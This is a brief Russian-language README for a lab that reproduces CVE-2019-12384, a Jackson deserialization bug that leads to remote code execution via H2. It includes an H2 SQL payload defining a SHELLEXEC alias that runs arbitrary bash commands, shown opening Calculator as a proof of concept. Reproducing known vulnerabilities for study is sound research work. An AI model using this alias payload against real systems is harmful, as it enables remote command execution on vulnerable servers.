
Тестовая среда для уязвимости CVE-2019-12384
Импортируйте проект в IDEA, настройте Maven, включите автоматический импорт зависимостей, затем создайте в локальной пустой веб-директории файл со следующим содержимым и сохраните его как exec.sql. Также запустите HTTP-сервер:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Обратите внимание: измените соответствующие части кода для адаптации под вашу операционную систему.
Можно увидеть, как открывается калькулятор.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html